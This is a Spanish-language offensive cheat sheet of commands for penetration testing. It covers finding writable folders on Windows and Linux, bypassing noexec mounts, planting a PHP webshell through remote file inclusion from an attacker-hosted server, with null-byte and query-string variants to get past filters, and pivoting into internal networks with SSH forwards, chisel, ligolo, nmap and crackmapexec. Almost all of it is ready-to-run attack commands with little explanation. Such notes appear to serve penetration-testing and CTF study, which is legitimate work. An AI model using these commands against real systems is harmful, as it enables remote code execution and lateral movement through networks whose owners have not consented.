Sistemas de ficheros · dónde escribir, qué leer, cómo colar

# carpetas donde el usuario actual puede escribir
Get-ChildItem C:\Windows -Recurse -ErrorAction SilentlyContinue |
  ? { $_.PSIsContainer } |
  % { try{ $t="$($_.FullName)\.t"; [IO.File]::Create($t).Close(); Remove-Item $t; $_.FullName }catch{} }
# o con accesschk de Sysinternals:
accesschk.exe -uwdq -accepteula "Everyone" C:\Windows

# todas las carpetas escribibles por mi usuario
find / -writable -type d 2>/dev/null
# ¿está /tmp montado noexec? (si sí, usa /dev/shm o un intérprete)
mount | grep -E 'tmp|shm'
# ejecutar aunque sea noexec: vía intérprete o el loader
python3 exploit.py        bash script.sh        /lib64/ld-linux-x86-64.so.2 ./binario

# 1) crea tu webshell
echo '<?php system($_GET["c"]); ?>' > shell.txt
# 2) sírvela desde tu Kali
python3 -m http.server 80
# 3) inclúyela desde la web vulnerable
http://victima/index.php?page=http://TU_IP/shell.txt&c=id
# variantes para evadir filtros:
?page=http://TU_IP/shell.txt%00        ?page=http://TU_IP/shell.txt?

# port forward LOCAL: servicio interno 10.10.2.5:80 -> tu localhost:8080
ssh -L 8080:10.10.2.5:80 user@pivote
# proxy SOCKS dinámico: toda una red a través del pivote
ssh -D 1080 user@pivote      # luego: proxychains nmap -sT 10.10.2.0/24

# en tu Kali (servidor)
./chisel server -p 8000 --reverse
# en el pivote (cliente) -> crea un SOCKS en tu Kali:1080
./chisel client TU_IP:8000 R:1080:socks
# y usas proxychains igual
proxychains crackmapexec smb 10.10.2.0/24

# Kali: prepara la interfaz y el proxy
sudo ip tuntap add user $USER mode tun ligolo && sudo ip link set ligolo up
./proxy -selfcert
# pivote: conecta el agente
./agent -connect TU_IP:11601 -ignore-cert
# en ligolo: session -> start, y añade la ruta de la red interna
sudo ip route add 10.10.2.0/24 dev ligolo
# ahora atacas 10.10.2.0/24 DIRECTAMENTE, sin proxychains